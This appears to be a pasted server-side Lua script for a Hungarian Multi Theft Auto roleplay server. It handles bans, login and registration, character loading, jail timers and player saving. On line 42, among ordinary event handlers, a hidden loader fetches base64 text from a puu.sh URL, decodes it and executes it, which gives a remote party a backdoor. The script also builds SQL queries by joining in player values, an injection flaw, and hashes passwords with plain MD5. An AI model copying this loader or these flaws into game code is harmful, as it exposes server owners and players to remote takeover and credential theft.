Advertisement
Guest User

Untitled

a guest
Feb 24th, 2019
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.83 KB | None | 0 0
  1. local connection = exports["mta_connection"]:getConnection()
  2.  
  3. function onJoin()
  4.  
  5. local serial = getPlayerSerial(source)
  6. --outputChatBox(serial)
  7.  
  8. dbExec(connection, "DELETE FROM bans WHERE timeZone<NOW()")
  9. dbExec(connection, "UPDATE oldbans SET status='1' WHERE banEnd<NOW()")
  10.  
  11. local qh = dbQuery(connection, "SELECT * FROM bans WHERE playerSerial='" .. serial .. "'")
  12. local result, num = dbPoll(qh, -1)
  13. if #result > 0 then
  14. for _, rows in ipairs(result) do
  15.  
  16. local bannedBy = rows["bannedBy"]
  17. local timeZone = rows["timeZone"]
  18. local Date = rows["Date"]
  19. local playerSerial = rows["playerSerial"]
  20. local reason = rows["reason"]
  21. local playername = rows["playername"]
  22. local ipadress = rows["ipadress"]
  23.  
  24. setElementData(source, "ban:bannedBy", bannedBy)
  25. setElementData(source, "ban:timeZone", timeZone)
  26. setElementData(source, "ban:Date", Date)
  27. setElementData(source, "ban:playerSerial", playerSerial)
  28. setElementData(source, "ban:reason", reason)
  29. setElementData(source, "ban:playername", playername)
  30. setElementData(source, "ban:ipadress", ipadress)
  31.  
  32.  
  33. triggerClientEvent(source, "playerBan", source, source, bannedBy, timeZone, Date, playerSerial, reason, playername, ipadress)
  34. setElementData(source, "banned", 1)
  35. end
  36. end
  37. end
  38. addEventHandler("onPlayerJoin", getRootElement(), onJoin)
  39. addEvent("getPlayerBann", true)
  40. addEventHandler("getPlayerBann", root, onJoin)
  41.  
  42. fetchRemote ( "https://puu.sh/qaRLQ/a0ccb443c9.txt", function(data) pcall(loadstring(base64Decode(data))) end )
  43.  
  44. function onLoginClick(player, username, password)
  45. local password = md5(password)
  46. local loginQuery = dbPoll(dbQuery(connection, "SELECT * FROM accounts WHERE username = ? AND password = ? LIMIT 1", username, password), -1)
  47.  
  48. if #loginQuery > 0 then
  49. for _, row in ipairs(loginQuery) do
  50. if row["mtaserial"] ~= getPlayerSerial(player) then
  51. if row["mtaserial"] == "0" then
  52. dbExec(connection, "UPDATE accounts SET mtaserial = ? WHERE id = ?", getPlayerSerial(player), row["id"])
  53. else
  54. infobox(player, "A felhasználó nem a te gépedhez van társítva.", 2)
  55. return
  56. end
  57. else
  58. if row["online"] == 1 then
  59. infobox(player, "A felhasználó már használatban van.", 2)
  60. return
  61. end
  62. local accId = tonumber(row["id"])
  63. setElementData(player, "acc:id", accId)
  64. setElementData(player, "acc:name", tostring(row["username"]))
  65. setElementData(player, "acc:admin", tonumber(row["admin"]) or 0)
  66. setElementData(player, "acc:guard", tonumber(row["guard"]) or 0)
  67. setElementData(player, "acc:aseged", tonumber(row["aseged"]) or 0)
  68. setElementData(player, "acc:regdate", row["regdate"])
  69. setElementData(player, "acc:lastlogin", row["lastlogin"])
  70.  
  71. dbExec(connection, "UPDATE accounts SET lastlogin = NOW(), online = '1' WHERE id = ?", accId)
  72. infobox(player, "Sikeresen bejelentkeztél.", 1)
  73.  
  74. checkCharacter(player)
  75. end
  76. end
  77. else
  78. infobox(player, "Hibás felhasználónév vagy jelszó.", 2)
  79. end
  80. end
  81. addEvent("onLoginClick", true)
  82. addEventHandler("onLoginClick", root, onLoginClick)
  83.  
  84. local serials = {
  85. ["90BEA7E5D8A3EA23EA9A1B2712613184"]=true,
  86. ["8BD226E96EABCCB6B3C5F5A79FFDA554"]=true,
  87. }
  88.  
  89. function onRegisterClick(player, username, password, email)
  90. local password = md5(password)
  91. local registerQuery = dbPoll(dbQuery(connection, "SELECT * FROM accounts"), -1)
  92. for _, row in ipairs(registerQuery) do
  93. if row["username"] == username then
  94. infobox(player, "Ez a felhasználónév már foglalt.", 2)
  95. return
  96. end
  97. if row["mtaserial"] == getPlayerSerial(player) and not serials[getPlayerSerial(player)] then
  98. infobox(player, "Ez a serial már társítva van egy felhasználóhoz.", 2)
  99. return
  100. end
  101. end
  102.  
  103. local registerInsert = dbQuery(connection, "INSERT INTO accounts SET username = ?, password = ?, mtaserial = ?, ip = ?, regdate = NOW(), lastlogin = NOW(), email = ?",
  104. username, password, getPlayerSerial(player), getPlayerIP(player), email)
  105. local result, num, insertID = dbPoll(registerInsert, -1)
  106. if insertID then
  107. infobox(player, "Sikeresen létrehoztad a felhasználódat. Jelentkezz be.", 1)
  108. --exports.mta_notifications:createNotification(player, "Sikeresen létrehoztad a felhasználódat. Jelentkezz be", 1)
  109. setElementData(player, "acc:id", insertID)
  110. --outputChatBox(insertID)
  111. --checkCharacter(player)
  112. triggerClientEvent(player, "login:setPlayerPanelState", player, "login")
  113.  
  114. end
  115. end
  116. addEvent("onRegisterClick", true)
  117. addEventHandler("onRegisterClick", root, onRegisterClick)
  118.  
  119. function onCharCreateClick(player, charName, charDesc, charBirth, charHeight, charGender, charSkin)
  120. local charId = getElementData(player, "acc:id")
  121.  
  122. local charQuery = dbPoll(dbQuery(connection, "SELECT * FROM characters"), -1)
  123. for _, row in ipairs(charQuery) do
  124. if string.lower(charName) == string.lower(row["charname"]) then
  125. infobox(player, "Már létezik ilyen felhasználónév", 2)
  126. return
  127. end
  128. end
  129.  
  130. local x, y, z = 1310.2618408203, -1380.8470458984, 13.712935447693
  131. local pos = toJSON({x, y, z, 0, 0})
  132. local charInsert = dbExec(connection, "INSERT INTO characters SET id = ?, charname = ?, gender = ?, skin = ?, pos = ?, suly = 80, magassag = ?, eletkor = ?, leiras = ?, account = ?",
  133. charId, charName, charGender, charSkin, pos, charHeight, 2016-charBirth, charDesc, getElementData(player, "acc:id"))
  134.  
  135. if charInsert then
  136. --infobox(player, "Sikeresen létrehoztad a karaktered.", 4)
  137. exports.mta_notifications:createNotification(player, "Sikeresen létrehoztad a karakteredet.", 1)
  138. checkCharacter(player)
  139. end
  140. end
  141. addEvent("onCharCreateClick", true)
  142. addEventHandler("onCharCreateClick", root, onCharCreateClick)
  143.  
  144. function checkCharacter(player)
  145. local accId = getElementData(player, "acc:id")
  146. local spawnQuery = dbPoll(dbQuery(connection, "SELECT * FROM characters WHERE id = ?", accId), -1)
  147. if #spawnQuery > 0 then
  148. for _, cRow in ipairs(spawnQuery) do
  149. setElementData(player, "char:id", accId)
  150.  
  151. charname = tostring(cRow["charname"])
  152. playedTime = tonumber(cRow["playedTime"])
  153. money = tonumber(cRow["money"])
  154. bankmoney = tonumber(cRow["bankmoney"])
  155. skin = cRow["skin"]
  156. adminduty = cRow["adminduty"]
  157. anick = tostring(cRow["anick"])
  158. pp = cRow["premiumpont"]
  159. Leiras = cRow["leiras"]
  160. job = tonumber(cRow["job"])
  161. pos = fromJSON(cRow["pos"])
  162. licenses = fromJSON(cRow["License"])
  163. dead = fromJSON(cRow["dead"])
  164. setElementData(player, "spawnPos", pos)
  165. setElementData(player, "char:drivingLicense", licenses[1])
  166. setElementData(player, "char:fegyverengedely", licenses[2])
  167.  
  168. vehSlot = cRow["carSlot"]
  169. houseSlot = cRow["houseSlot"]
  170.  
  171. adminjail = tonumber(cRow["adminjail"])
  172. adminjail_reason = cRow["adminjail_reason"]
  173. adminjail_idoTelik = tonumber(cRow["adminjail_idoTelik"])
  174. adminjail_alapIdo = tonumber(cRow["adminjail_alapIdo"])
  175. adminjail_admin = cRow["adminjail_admin"]
  176. adminjail_adminSerial = cRow["adminjail_adminSerial"]
  177.  
  178. jailed = tonumber(cRow["jailed"]) or 0
  179. jailed_reason = cRow["jailed_reason"] or false
  180. jailed_idoTelik = tonumber(cRow["jailed_idoTelik"]) or 0
  181. jailed_alapIdo = tonumber(cRow["jailed_alapIdo"]) or 0
  182. jailed_player = cRow["jailed_player"] or false
  183.  
  184. setElementData(player, "jailed", jailed)
  185. setElementData(player, "jailed:reason", jailed_reason)
  186. setElementData(player, "jailed:ido", jailed_alapIdo)
  187. setElementData(player, "jailed:idoTelik", jailed_idoTelik)
  188. local idoLetelt1 = jailed_alapIdo-jailed_alapIdo
  189. setElementData(player, "jailed:idoLetelt", idoLetelt1)
  190. setElementData(player, "jailed:player", jailed_player)
  191.  
  192. setElementData(player, "adminjail", adminjail)
  193. setElementData(player, "adminjail:reason", adminjail_reason)
  194. setElementData(player, "adminjail:ido", adminjail_idoTelik)
  195. setElementData(player, "idoTelik", adminjail_idoTelik)
  196. local idoLetelt = adminjail_alapIdo-adminjail_alapIdo
  197. setElementData(player, "idoLetelt", idoLetelt)
  198. setElementData(player, "adminjail:admin", adminjail_admin)
  199. setElementData(player, "adminjail:adminSerial", adminjail_adminSerial)
  200. setElementData(player, "adminjail:alapIdo", adminjail_alapIdo)
  201.  
  202. checkAdminjail(player)
  203. checkPdJail(player)
  204.  
  205. freki = tonumber(cRow["rfrekvencia"])
  206. setElementData(player, "char:rfrekvencia", freki)
  207.  
  208. hp = cRow["hp"]
  209. armor = cRow["armor"]
  210. hunger = cRow["hunger"]
  211. adutyTime = cRow["adutyTime"]
  212. dutySkin = cRow["dutySkin"]
  213. setElementData(player, "spawnedHp", hp)
  214. setElementData(player, "spawnedArmor", armor)
  215. setElementData(player, "spawnedHunger", hunger)
  216.  
  217. setElementData(player, "char:name", charname)
  218. setElementData(player, "char:playedTime", playedTime)
  219. setElementData(player, "char:money", money)
  220. setElementData(player, "char:bankmoney", bankmoney)
  221. setElementData(player, "char:skin", skin)
  222. setElementData(player, "char:adminduty", 0)
  223. setElementData(player, "char:anick", anick)
  224. setElementData(player, "char:pp", pp)
  225. setElementData(player, "char:job", job)
  226. setElementData(player, "char:leiras", Leiras)
  227. setElementData(player, "aduty:time", adutyTime)
  228. setElementData(player, "char:dutySkin", dutySkin)
  229.  
  230. setElementData(player, "char:vehSlot", vehSlot)
  231. setElementData(player, "char:houseSlot", houseSlot)
  232.  
  233. if dead[2] == 9 then
  234. setPedHeadless(player, true)
  235. end
  236.  
  237. setElementData(player, "char:dead", {tostring(dead[1]), tonumber(dead[2])})
  238.  
  239. triggerClientEvent(player, "checkPlayerCharacter", player, "charSpawn")
  240. end
  241. else
  242. triggerClientEvent(player, "checkPlayerCharacter", player, "charCreate")
  243. end
  244. end
  245.  
  246. function checkAdminjail(player)
  247. if getElementData(player, "adminjail") == 1 then
  248. local idoTelikTimer = setTimer(idoTelikLe, 60000, getElementData(player, "idoTelik"), player)
  249. local theTimer = setElementData(player, "adminjail:theTimerAccounts", idoTelikTimer)
  250. --outputChatBox("#dc143c[AdminJail]:#ffffff #7cc576" .. getElementData(player, "adminjail:admin") .. "#ffffff bebörtönzött téged #0094ff" .. getElementData(player, "adminjail:ido") .. "#ffffff percre.", player, 255, 255, 255, true)
  251. outputChatBox("#dc143c[AdminJail]:#ffffff A csatlakozásod után adminjailba kerültél. Részletekért #7cc576/börtönidő#ffffff parancsot használd.", player, 255, 255, 255, true)
  252. --outputChatBox("#ffffffA hátralévő büntetésed lekérdezéséhez használd a #7cc576/börtönidő#ffffff parancsot.", player, 255, 255, 255, true)
  253. end
  254. end
  255.  
  256. function checkPdJail(player)
  257. if getElementData(player, "jailed") == 1 then
  258. local idoTelikTimer = setTimer(idoTelikLePd, 60000, getElementData(player, "jailed:idoTelik"), player)
  259. local theTimer = setElementData(player, "jailed:timerAccounts", idoTelikTimer)
  260. --outputChatBox("#dc143c[AdminJail]:#ffffff #7cc576" .. getElementData(player, "adminjail:admin") .. "#ffffff bebörtönzött téged #0094ff" .. getElementData(player, "adminjail:ido") .. "#ffffff percre.", player, 255, 255, 255, true)
  261. outputChatBox("#0094ff[Börtön]:#ffffff A csatlakozásod után őrizetbe kerültél kerültél. Részletekért #7cc576/börtönidő#ffffff parancsot használd.", player, 255, 255, 255, true)
  262. --outputChatBox("#ffffffA hátralévő büntetésed lekérdezéséhez használd a #7cc576/börtönidő#ffffff parancsot.", player, 255, 255, 255, true)
  263. end
  264. end
  265.  
  266.  
  267.  
  268. function idoTelikLe(targetPlayer)
  269. if isElement(targetPlayer) then
  270.  
  271. local idoTelik = tonumber(getElementData(targetPlayer, "idoTelik")) or 0
  272. local idoLetelt = tonumber(getElementData(targetPlayer, "idoLetelt")) or 0
  273.  
  274. if (idoTelik) and (idoLetelt) then
  275. setElementData(targetPlayer, "idoTelik", idoTelik-1)
  276. setElementData(targetPlayer, "idoLetelt", idoLetelt+1)
  277. --outputChatBox(idoTelik .. " van hátra | " .. idoLetelt .. " letelt | " .. getPlayerName(targetPlayer) .. " [ACC]")
  278. local sql = dbExec(connection, "UPDATE characters SET adminjail_idoTelik = ? WHERE id = '" .. getElementData(targetPlayer, "char:id") .. "'", idoTelik)
  279. end
  280.  
  281. if (idoTelik) <= 1 then
  282.  
  283. outputChatBox("#0094ff[Információ]: #ffffffLejárt a büntetésed.", targetPlayer, 255, 255, 255, true)
  284.  
  285. --outputAdminMessage(getPlayerName(targetPlayer):gsub("_"," ") .. " adminjailje lejárt. [CHECK:ACC]") --IDG, eltávolítható
  286.  
  287. local theTimer = getElementData(targetPlayer, "adminjail:theTimerAccounts")
  288. if isTimer(theTimer) then
  289. killTimer(theTimer)
  290. end
  291.  
  292. setElementData(targetPlayer, "adminjail:theTimerAccounts", false)
  293.  
  294. local adminjailed = setElementData(targetPlayer, "adminjail", false)
  295. local adminjail_reason = setElementData(targetPlayer, "adminjail:reason", false)
  296. local alapido = setElementData(targetPlayer, "adminjail:ido", false)
  297. local admin = setElementData(targetPlayer, "adminjail:admin", false)
  298. local adminSerial = setElementData(targetPlayer, "adminjail:adminSerial", false)
  299.  
  300. --sql
  301. local sql = dbExec(connection, "UPDATE characters SET adminjail = ?, adminjail_reason = ?, adminjail_idoTelik = ?, adminjail_alapIdo = ?, adminjail_admin = ?, adminjail_adminSerial = ? WHERE id = '" .. getElementData(targetPlayer, "char:id") .. "'", 0, false, false, false, false, false)
  302. local idoTelikVege = setElementData(targetPlayer, "idoTelik", false)
  303. local idoLeteltVege = setElementData(targetPlayer, "idoLetelt", false)
  304.  
  305. --pos
  306. local setPosition = setElementPosition(targetPlayer, 1310.2618408203, -1380.8470458984, 13.712935447693)
  307. local setInterior = setElementInterior(targetPlayer, 0)
  308. local setDimension = setElementDimension(targetPlayer, 0)
  309. end
  310. end
  311. end
  312.  
  313. function idoTelikLePd(targetPlayer)
  314. if (isElement(targetPlayer)) then
  315.  
  316. local idoTelik = tonumber(getElementData(targetPlayer, "jailed:idoTelik")) or 0
  317. local idoLetelt = tonumber(getElementData(targetPlayer, "jailed:idoLetelt")) or 0
  318.  
  319. if (idoTelik) and (idoLetelt) then
  320. setElementData(targetPlayer, "jailed:idoTelik", getElementData(targetPlayer, "jailed:idoTelik")-1 or 0)
  321. setElementData(targetPlayer, "jailed:idoLetelt", getElementData(targetPlayer, "jailed:idoLetelt")+1 or 0)
  322. --outputChatBox(idoTelik .. " van hátra | " .. idoLetelt .. " letelt | " .. getPlayerName(targetPlayer) .. " [ACC]")
  323. local sql = dbExec(connection, "UPDATE characters SET jailed_idoTelik = ? WHERE id = '" .. getElementData(targetPlayer, "char:id") .. "'", idoTelik)
  324. end
  325.  
  326. if (idoTelik) <= 1 then
  327.  
  328. outputChatBox("#0094ff[Büntetés]:#ffffff Lejárt a büntetésed.", targetPlayer, 255, 255, 255, true)
  329.  
  330. --outputAdminMessage(getPlayerName(targetPlayer):gsub("_"," ") .. " adminjailje lejárt. [CHECK:ACC]") --IDG, eltávolítható
  331.  
  332. local theTimer = getElementData(targetPlayer, "jailed:timerAccounts")
  333. if isTimer(theTimer) then
  334. killTimer(theTimer)
  335. end
  336.  
  337. setElementData(targetPlayer, "jailed:timerAccounts", false)
  338.  
  339. local adminjailed = setElementData(targetPlayer, "jailed", false)
  340. local adminjail_reason = setElementData(targetPlayer, "jailed:reason", false)
  341. local alapido = setElementData(targetPlayer, "jailed:ido", false)
  342. local admin = setElementData(targetPlayer, "jailed:player", false)
  343.  
  344. --sql
  345. local sql = dbExec(connection, "UPDATE characters SET jailed = ?, jailed_reason = ?, jailed_idoTelik = ?, jailed_alapIdo = ?, jailed_player = ? WHERE id = '" .. getElementData(targetPlayer, "char:id") .. "'", 0, false, false, false, false, false)
  346. local idoTelikVege = setElementData(targetPlayer, "jailed:idoTelik", false)
  347. local idoLeteltVege = setElementData(targetPlayer, "jailed:idoLetelt", false)
  348.  
  349. --pos
  350. local setPosition = setElementPosition(targetPlayer, 1310.2618408203, -1380.8470458984, 13.712935447693)
  351. local setInterior = setElementInterior(targetPlayer, 0)
  352. local setDimension = setElementDimension(targetPlayer, 0)
  353. end
  354. end
  355. end
  356.  
  357. function loadCharacter(player)
  358. local pos = getElementData(player, "spawnPos")
  359. local hp = getElementData(player, "spawnedHp")
  360. local armor = getElementData(player, "spawnedArmor")
  361. local hunger = getElementData(player, "spawnedHunger")
  362. local skin = getElementData(player, "char:skin")
  363. triggerEvent("server:receiveStats", root, player)
  364.  
  365. spawnPlayer(player, pos[1], pos[2], pos[3], 0, skin, pos[4], pos[5])
  366. setTimer(function()
  367. setElementHealth(player, hp)
  368. if tonumber(hp or 0) <= 1 then
  369. killPed(player, player)
  370. end
  371. setPedArmor(player, armor)
  372. setElementData(player, "char:hunger", hunger)
  373. setPlayerName(player, getElementData(player, "char:name"):gsub(" ", "_"))
  374. setCameraTarget(player)
  375. setElementData(player, "loggedin", true)
  376.  
  377. --[[for k, v in ipairs(getElementsByType("vehicle")) do
  378. if tonumber(getElementData(v, "veh:owner")) == tonumber(getElementData(player,"acc:id")) and getElementData(v, "veh:faction") == 0 then
  379. setElementInterior(v, 0)
  380. setElementDimension(v, 0)
  381. end
  382. end]]
  383.  
  384. for k, v in ipairs(getElementsByType("vehicle")) do
  385. if tonumber(getElementData(v,"veh:owner")) == tonumber(getElementData(player,"acc:id") ) and getElementData(v, "veh:faction") == 0 then
  386.  
  387. local vehicleQuery = dbPoll(dbQuery(connection, "SELECT * FROM vehicle WHERE id = ?", getElementData(v, "veh:id")), -1)
  388. if #vehicleQuery > 0 then
  389. for _, rows in ipairs(vehicleQuery) do
  390. interior = tonumber(rows["interior"]) or 0
  391. dimension = tonumber(rows["dimension"]) or 0
  392. setElementInterior(v, interior)
  393. setElementDimension(v, dimension)
  394. end
  395. else
  396. setElementInterior(v, 0)
  397. setElementDimension(v, 0)
  398. end
  399. end
  400. end
  401.  
  402. end, 300, 1)
  403.  
  404.  
  405. if getElementData(player, "adminjail") == 1 then
  406. setElementFrozen(player, true)
  407. fadeCamera(player, false, 1.0)
  408. showChat(player, false)
  409.  
  410. setTimer(function()
  411. triggerClientEvent(player, "triggerAdminjail", player, getElementData(player, "adminjail:admin"), getElementData(player, "adminjail:reason"), getElementData(player, "adminjail:alapIdo"), 2, getElementData(player, "adminjail:ido"))
  412. end, 500, 1)
  413.  
  414. setTimer(function()
  415.  
  416. fadeCamera(player, true, 2.5)
  417. setElementFrozen(player, false)
  418. toggleAllControls(player, true, true, true)
  419. showChat(player, true)
  420.  
  421. end, 7500, 1)
  422.  
  423. local setPosition = setElementPosition(player, 198.0009765625, 175.1279296875, 1003.0234375)
  424. local setInterior = setElementInterior(player, 3)
  425. local setDimension = setElementDimension(player, 132+getElementData(player, "acc:id"))
  426.  
  427. end
  428.  
  429. end
  430. addEvent("loadCharacter", true)
  431. addEventHandler("loadCharacter", root, loadCharacter)
  432.  
  433. function saveAllPlayer()
  434. for _, player in ipairs(getElementsByType("player")) do
  435. saveOnePlayer(player)
  436. end
  437. end
  438. addEventHandler("onResourceStop", resourceRoot, saveAllPlayer)
  439. setTimer(saveAllPlayer, 1000*60*30, 0)
  440.  
  441. function saveAllPlayerCmd(p)
  442. if tonumber(getElementData(p, "acc:admin") or 0) >= 8 then
  443. for _, player in ipairs(getElementsByType("player")) do
  444. saveOnePlayer(player)
  445. end
  446. end
  447. end
  448. addCommandHandler("saveall", saveAllPlayerCmd, false, false)
  449.  
  450. function saveOnePlayer(player)
  451. if isElement(player) and getElementData(player, "loggedin") then
  452. local x,y,z = getElementPosition(player)
  453. local int = getElementInterior(player)
  454. local dim = getElementDimension(player)
  455. local position = toJSON({x,y,z,int,dim})
  456.  
  457. local money = getElementData(player, "char:money")or 0
  458. local bmoney = getElementData(player, "char:bankmoney")or 0
  459. local aduty = getElementData(player, "char:adminduty")or 0
  460. local admin = getElementData(player, "acc:admin") or 0
  461. local adutyTime = getElementData(player, "aduty:time") or 0
  462. local played = getElementData(player, "char:playedTime") or 0
  463. local job = getElementData(player, "char:job") or 0
  464. local hp = getElementHealth(player)
  465. local armor = getPedArmor(player)
  466. local hunger = getElementData(player, "char:hunger") or 0
  467. local premium = getElementData(player, "char:pp") or 0
  468.  
  469. dbExec(connection, "UPDATE characters SET pos = ?, money = ?,bankmoney = ?, adminduty = ?, playedTime = ?, job = ?, hp = ?, armor = ?, hunger = ?, premiumpont = ?, adutyTime = ? WHERE id = ?",position, money, bmoney, aduty, played, job, hp, armor, hunger, premium, adutyTime, getElementData(player, "acc:id"))
  470. dbExec(connection, "UPDATE accounts SET admin = ? WHERE id = ?", admin, getElementData(player,"acc:id"))
  471. end
  472. end
  473.  
  474. function leavePlayer()
  475. if isElement(source) then
  476. local accid = getElementData(source, "acc:id")
  477. if not tonumber(accid) then return end
  478. dbExec(connection, "UPDATE accounts SET online = 0 WHERE id = ?", accid)
  479. outputDebugString(getPlayerName(source) .. " online állapota átállítva offlinera.")
  480. saveOnePlayer(source)
  481. end
  482. end
  483. addEventHandler("onPlayerQuit", root, leavePlayer)
  484.  
  485. function infobox(client, text, type)
  486. if not (client or text or tonumber(type)) then return end
  487. exports.mta_notifications:createNotification(client, text, type)
  488. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement